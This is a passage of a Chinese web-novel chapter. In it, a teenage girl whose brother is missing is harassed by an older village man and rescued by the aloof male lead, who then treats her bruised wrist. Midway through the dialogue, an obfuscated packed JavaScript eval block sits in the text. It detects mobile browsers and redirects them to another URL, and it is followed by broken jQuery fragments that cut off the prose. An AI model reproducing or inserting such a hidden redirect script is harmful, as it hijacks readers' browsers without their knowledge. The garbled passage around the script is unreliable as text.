“没,我没事。”明玉小声否认。


    想到哥哥,眼眶酸涩的又想掉眼泪。她从没和哥哥分开过这么久,尽管那剧情里有说哥哥除了失忆不会出别的事,小心脏还是难受的要死。


    算了,只要能早日和哥哥重逢,她吃点苦头没什么大不了的。


    目光落在他小麦色肌肤上的点点汗水,明玉来了主意,摘下草帽递过去。


    “天气热,草帽给你戴吧。”又觉得不妥,干巴巴的补了个称呼,“秦…秦临哥。”


    叫秦临一声‘哥’没毛病,要打好关系总不能直接唤他名字吧。


    这声‘秦临哥’,喊得秦临眸色复杂晦涩,心里头奇奇怪怪的。明玉戴的草帽比常见的普通草帽要小了一圈,头顶还有复杂的编织花朵,不用想都肯定是明晨特意找村里人编的。


    娇气包太不对劲。


    明家必定是出什么事了。


    秦临没接草帽,不假辞色:“不用,你自己戴着吧。”


    草帽小了一圈,他能戴上才怪。再说,这点太阳算不得什么,更热的时候都过去了。


    和他相比,显然是面前的女孩更需要这东西。站在树下,脸颊都热的发红,很不经热。


    说完没再看明玉,蹬上自行车往山脚骑去。


    讨好失败,明玉也不气馁。


    小说里都说了,秦临只有在面对女主的时候才是好说话的,至于别的女人多看一眼他都不是冷漠无情的男主。


    要是容易接近好相处的,村里人就不会传出他的不好风评了。大大小小的孩子们都很怕他,有些个嘴贱的妇女还会用秦临来吓唬自家不听话的小孩。


    在外面没待多久她额头隐隐冒汗,转身小跑进了院门。


    至于秦临那边就慢慢来吧。


    人在那儿,还能跑不成。


    *


    秦临一路骑到家门口,将自行车推到房屋旁侧的茅草棚下放着,拿过后座的包裹掏钥匙开门。几天没人在的家中,地面堆了一层薄薄的白灰。


    他对住的地方没要求,能躺能睡就行。屋内布置冷清简陋,家具少的可怜,几乎看不出有人住的痕迹。


    简单收拾好屋内,他从包裹里挑挑拣拣拿了些东西,长腿迈出家门,径直朝着附近离得最近的几栋房屋走去。


    尽管石桥村背靠绵延大山,夏季依旧酷暑炎热,尤其是下午两三点的时候。大部分村民都会选择在家待着,或者三三两两的聚在一块说笑。


    因为去年上头政策下来,每家都有了属于自家的土地,不像以前干活得工分了。干多少得多少,人人干劲十足,但也没那样死拼命了。


    秦临分得的土地,大部分都给刘森一家种了。


    刘森孩童时期贪玩,伙同小伙伴去池塘玩水,腿抽筋差点溺水淹死。是路过的猎户秦正强救了他。


    秦正强就是秦临的养父。


    秦刘两家离得近,本来关系就好,这之后刘森差点就认了已经丧妻丧子的秦正强当干爹。秦临的出现,这事才没成。


    秦正强去世后,刘家有想过把秦临接到家里来养。但刘家确实穷,刘森的哥哥们又都到成家的年纪了,刘家人因此意见不合,又是真的再多养不起一个孩子了,只好尽量的多接济他。


    直到最小的刘森结婚不久,老娘去世,刘家就顺势分了家。


    刘森一家住在老房子,秦临这些年也只和刘森有来往。


    秦临刚走到刘家门口,穿着开裆裤坐在角落玩泥巴的小孩先看到了他,坐在那儿扬起脏兮兮的肉脸傻笑,“秦叔叔。”


    “小东,你爸在家没?”


    刘小东在换牙,说话含糊又漏风。


    “在。”他回头就朝屋里喊,“爸,秦叔叔来了!”


    话音刚落,刘森从堂屋门框处探出头,乐呵呵道:“小临,你啥时候回来的啊?快进来说话,外面热死了。这鬼天气,一天比一天热,地里庄稼都晒焉了一大片。”


    刘森给他抬了条凳子,又坐回去继续用片好的竹条编箩筐:“来坐。我啊,干坐不住,就想着编点东西等过些天去镇上卖。”


    “刚回来,森哥。”


    秦临走进堂屋,把怀里东西随手放桌上,“这是给几个孩子的,衣服晚点让小东他们试试。”


    刘森心疼钱又责怪:“哎哟,不都说了让你别买了吗?那几个臭小子哪穿的住这么多衣服啊。还有上回你拿来的糖和肉罐头,家里都还有好些呐。”


    看着已经比他还高的青年,刘森想到他没爹没妈的,有些事还得他这个当哥的来提。


    “小临啊,你也老大不小了,挣了钱就好好存着。你该考虑娶媳妇生孩子的事情了。你哥我在你这个年纪,家里老大都一岁……”


    秦临有意问明家的情况:“我不着急。同村的明晨比我大,也一个人。”


    明晨大秦临三岁,今年25了。相貌不错,有挣钱能力,就算有个拖油瓶妹妹,上门想给他说亲的人也不少。


    他愿意一辈子养着妹妹,就会担心娶的媳妇会对妹妹不好或有意见,人心叵测,便一直没考虑过人生大事。


    和妹妹相比,别的都不在乎。


    刘森无语:“你们可不一样。明家小子有妹妹,他们是可以相互依靠和陪伴的家人。我现在就希望你小临你身边能早早有个陪伴你的,小两口在一起,再生几个娃……”


    秦临见刘森还要说下去,出声转移话题:“森哥,村里这几天有出什么事吗?”


    “没吧,我没听说有啥事啊。咋了?”


    这时刘嫂子从屋里走出来,端来一盘自家晒干的南瓜子放秦临面前:“你哥他整天埋头苦干,能晓得个啥。村子里都快传遍了,明家出事了。”


    秦临神色一顿:“明家?”


    看来他猜的没错。


    “好多人都说,明晨没了。”刘嫂子一五一十的说了听到的消息。


    “唉,明玉那丫头是个可怜的,哥没了,也不知道能不能护住明家的钱财。大家原本就眼红明晨在外面挣大钱,明玉长得又漂亮,明家院子以后怕是不安生了。”


    话不中听,但是大实话。


    “要我说,那丫头就该赶紧找个踏实可靠的男人,好歹能撑起来。这年头,家里没个男人太糟心了,外边谁都敢惦记。”


    刘嫂子倒不是看不起女人的意思,她自己就是女人,太知道难处了。只是明玉太柔弱了,又还在读书。


    没见识过人心险恶,哪能短时间内立起来。


    刘森倒是赞同媳妇的话,叮嘱一句:“别人家的事儿,咱们看着就成,出去别瞎说话。”


    “只是人找不到了?”秦临问到重点。


    刘嫂子:“对,说是他和几个朋友去外地,人不见了。公安局都找不到的人,怕是也没啥好消息了。”


    刘森感觉小临今天很奇怪,但粗心惯了的大老爷们心思没那么细腻,想了下没想通,就抛到脑后了。


    得到消息的秦临起身告别,回家路上拧紧眉头,还是没想通娇气包先前那一出的意图。按她对明晨的在意程度,得知明晨失踪的消息,不应该在家哭得稀里哗啦吗?


    十二分的不对劲。


    或许就是单纯的一时兴起,没别的意思?


    秦临没和女性相处过,只觉得娇气包的想法毫无厘头。也有可能是吓坏了?


    被惦记着的明玉丝毫不知她快露馅了,她打算先在家装伤心一阵子,等哥哥失踪的事情慢慢沉寂下去后,再去和秦临打好关系。


    哥哥失踪消息传出的第二天,村里专门给年轻男女说媒的王婆子就找了上门。为方便林婶出入,白天的院门只是虚掩着,外人一推就能进去。


    在家的明玉只要把屋门的木栓撇上就成。


    幸好怕明玉想不开出事的林婶一直在家,不等王婆子说话就把人拽了出去。有这么个意外,林婶这些天对明家严防死守,不留情赶跑那些打着好算盘的有心人。


    但再心细的人也有疏漏的时候。


    这天傍晚,老天爷突然狂风暴雨,持续了两三个小时,林婶就比往常提前些做了晚饭。


    没想晚饭后,暴雨渐渐停歇了,天边乌云迅速散开,弯月爬上天边。


    明玉在家憋闷了好些天想出去走走,顺便消消食。没想着刚走到小山坡下的田埂上,身后响起一道声音。


    “明玉妹妹!”


    明玉不是傻子,这些天林婶帮忙挡住的麻烦事和她多次欲言又止的神情,她明白自己当下的处境,也很清楚那些人对她的算计。


    以前有哥哥在身边,不怀好意的人压根接近不到她。能接近和她说话的男生也屈指可数。


    明玉小脸浮现一丝不高兴,想当没听见继续往前走。谁知道身后人不甘心直接追赶上来。


    “我知道明晨没了你很难受,但我们要向前看啊。你只有把日子过好了,你哥哥也能安心,对吧。”


    说教意味十足的一番话,听得明玉想作呕。


    她板着小脸转过身,黑白分明的眼眸看着对方,强调道:“我哥只是失踪了,不是没了。于天杰,你不清楚就不要瞎说。”


    她以往跟着哥哥喊他‘天杰哥’,挺正常的一好心人,以前怎么就没觉得这人是个讨厌的。


    于天杰噎住,只当她是想有个念想:“好,我们不说这个了。”


    他眉眼含情的说:“明玉妹妹,我喜欢你很久了,给我一个机会让我今后照顾你,好吗?我在城里工作,工资够养活我们,你想继续读书我也支持,只要你开心就好。”


    村里没结婚的男青年,喜欢明玉的不在少数。以前没人敢去硬刚沾上妹妹就是疯子的明晨,个个藏着小心思。


    于天杰自认为自身条件不错,老爸是村支书,上头两个哥哥结婚有孩子了,自己又在县城的制糖厂工作。这些年的工资存着,虽然不能像明晨那样各方面都精细养着明玉,但大部分要求应该还是能满足的。


    他怕自己再不主动些,明玉就被别人抢走了。


    家里催了他好几年,于天杰也相过不下十个女孩了,城里乡下的都有,但一直没有看上眼的。


    明玉妹妹和那些女孩都不一样,从小就长得可爱,这两年更是让人挪不开眼。


    明玉断然拒绝:“不好,我不喜欢你。而且你比我大十岁,我哥都得喊你一声哥。”


    话里的嫌弃溢于言表。


    她今年才17岁!


    于天杰都是没人要的老男人了,还妄想跑来跟她一小姑娘谈情说爱。


    不知道这人啥时候对她有心思的。她哥在的时候,于天杰就是文质彬彬的大方君子,从没有过出格的言行举止,只能说他装的太好了。


    光是想想就瘆得慌,一想到这些年他在背地里打自己的主意,明玉胸口泛起一阵阵恶心。


    死变.态啊啊啊啊!!


    明玉眼眸里满是防备,打起精神随时准备跑路,但没敢太明显,怕这人恼羞成怒。谁知道疯子会干出什么事来,她大概率是跑不过这人的,也打不过。


    忽然就有些后悔今天出门了,倒了八辈子的血霉。


    于天杰脸色肉眼可见的难看,找补道:“我承认,我的年纪是大了些,但我一定会对你好的。我们可以先慢慢试着处对象,你不愿意的事我绝不会强迫你。我爸妈那儿有我去说,他们之前还经常夸你,是不会反对我俩的。”


    说到后面,他心里其实是发虚的。


    于母是有夸过明玉相貌生得好,但也说过不少不好听的话。


    说她身体不好、过分漂亮到处招人、家务活样样不会……以后谁要是娶到明玉,不知道是好事还是遭罪。


    但于天杰相信,有他在,爸妈迟早能接受明玉的。


    “我说了不!你是听不懂人话吗?我不喜欢你,也不可能跟你处对象。我哥不在,以后你别来我家了,我们也保持距离。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958237|193229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明玉不耐烦的说。


    没有再聊下去的欲.望,她加快脚步走远了。


    于天杰心急了,追上前拉住她:“明玉妹妹,这事我不着急,你可以慢慢想一想。你现在就一个人了,又还在念书,很需要有人来照顾你。”


    他今天能回村子来,是厂子里休假。没想着刚一回来就听说明晨出事,随即就听妈和嫂子说有好些人已经托媒婆上门去了。


    现在不说,就没时间了。


    明玉被他拽的脚下一踉跄,手腕处被大手死死攥着,像是要掰断的疼。


    她大力挣扎着:“于天杰,你放开我!我哥要是知道你这么欺负我,回来后肯定会揍死你的,松开啊啊啊!亏我和哥哥还喊你哥,你就是个狼心狗肺、没人性的畜生。”


    骂着骂着连自己说了啥都不知道了,手腕上疼痛加剧。


    村里流言蜚语传的飞快,明玉不想跟于天杰纠缠在一起。于家在村子有能力,要想为难她一个没人护着的孤女再容易不过了。


    明玉咬咬牙,狠下心,弯腰就想上嘴咬他的破手。


    还没来得及下嘴,


    “你们在干什么?”


    明玉下意识回头看,见是秦临,一瞬间仿佛看到了救星。她可怜巴巴的努力往身后靠,“秦临哥,快帮帮我,他拽着我不放开。”


    秦临快步走近,没迟疑的一把掰住于天杰的手腕,下了狠手,面无表情的看着他。


    “啊啊啊。”于天杰痛的龇牙咧嘴,只感觉手腕要被拧断了,不得已松开了明玉。


    看着比自己小好几岁,却比自己高了快半个脑袋的秦临,他心里憋屈的不行。这回在明玉妹妹面前丢脸丢大发了,连个没爹没娘的野种的都干不过。


    他刚想嘴硬硬刚,就见秦临那看死人一般的眼神,后背发凉,竟直直被吓退了好几步。


    于天杰忍下怒气,揉着剧痛的手腕对明玉大声质问:“你怎么会和他这种人掺和在一起?你忘记明晨和你说的那些话了吗?明玉妹妹,你过来,刚才是我不对,一时心急弄疼你了。”


    该死的野种,居然敢这样对他。


    “你还有脸提我哥?今天你欺负我的事,我记住了。哼!”明玉躲在秦临身后,只露出脑袋安全感满满。


    不想再看到这人,她轻轻扯了扯前面人的衣摆,软声央求:“秦临哥,我们快走吧。”


    秦临将于天杰眼中的愤恨看得一清二楚,但他不在意。这种外强中干的男人,一拳头就能弄死他。将人上下扫视一番,嗤,又矮又弱。


    他说错了,这人是里外都不行。


    “嗯,走吧。”


    两人一前一后的走在杂草丛生的田埂上,后者将前面娇小的人儿尽数遮挡。


    被无视的于天杰‘唰’的变了脸,眼神透着一丝阴狠,哪还有往日的邻家大哥哥的好形象。攥紧拳头,一脚揣飞路边的土块。


    “给我等着。明玉,你迟早会是我的。”


    有秦临在身后,明玉突然觉得踏实了许多。顺着田埂往前走,发现秦家的房屋就在不远处。


    她没想去秦临家,停下蹲在路边的石块上,手揪断不知名的紫色野花:“秦临哥,刚才谢谢你。要不是你及时出现,我就真的要咬他了。”


    说着还干呕了一下。


    秦临无声的站在她旁边,看了眼她毛茸茸的头顶,视线放远。视野里已经没有于天杰的身影了,到处都是绿油油的植被和黄灿灿的庄稼。


    明玉也没想得到他的回答,一个人搁那儿自言自语。


    “真没想到于天杰会是这种人,以前装的可好了。我哥不见了才多久,他就本性暴露了,恶心死我了。”


    “呕~快三十的老男人也好意思说那些话,不要脸,死变态,老混蛋!”


    “别以为我哥不在,就能随便欺负我,哼哼。一个个净是龌蹉心思,我才不傻呢……”


    她嘟囔着,低头看到红了好大一圈的手腕,又想起哥哥了。眼眶渐渐泛红,眼前雾蒙蒙的一片。


    说话声戛然而止,秦临等了好一会儿都没再听到声音。


    侧头看去,娇气包像极了蜷缩在角落独自舔舐伤口的小猫,惨兮兮的,头顶发丝仿佛都焉了吧唧的。那纤细白嫩手腕处的红痕,刺眼得很。


    秦临忽然就觉得刚对于天杰使劲使少了,就该弄断他的手腕,好长长教训。


    “起来。”


    “干嘛?”明玉没动,嗓音低低的。


    “想谢我就跟我走。”


    秦临撂下这句话就走了,也不管她会不会跟上来。步伐不紧不慢。


    明玉迷茫,揉揉眼睛后擦去不听话的泪水,还是选择起身跟着了。最后停在秦家没有围墙的院子边缘,在纠结要不要进去。


    看到秦临开了门,她出声问:“来你家干什么啊?”


    脑海里浮现各种乱七八糟的想法,在经历了于天杰的破事后,她现在看谁都感觉像不怀好意的坏人。


    她清楚自己长得好看,但秦临是男主,除了女主谁都不在乎,应该不会像那些人一样吧……


    明玉不确定的想着。


    秦临回屋拿碗倒了一些药酒,这是他自己泡的,能消肿。养父是猎户,上山打猎受伤是常有的事,秦临就跟着他学会了泡药酒。


    “手不肿了?”仿佛知晓她心里的小九九,秦临没要求她进屋,而是抬了两条凳子放在屋檐下,“过来坐着。”


    明玉安心不少,走过去乖乖坐下。


    看到他手里端着的碗,好奇询问:“这是什么呀?”还凑过去闻了闻,鼻尖耸动,给出猜测:“这是酒吗?”


    那张雪白小脸近在咫尺,有些发红的眼眸还水润润的看着他,两人距离头一回离得这么近。


    看得人心尖莫名发软。


    秦临手稍微向前一些就能触碰到,手指不自在的蜷缩着,撇开黑眸。


    “怎么什么都闻,不怕有毒?”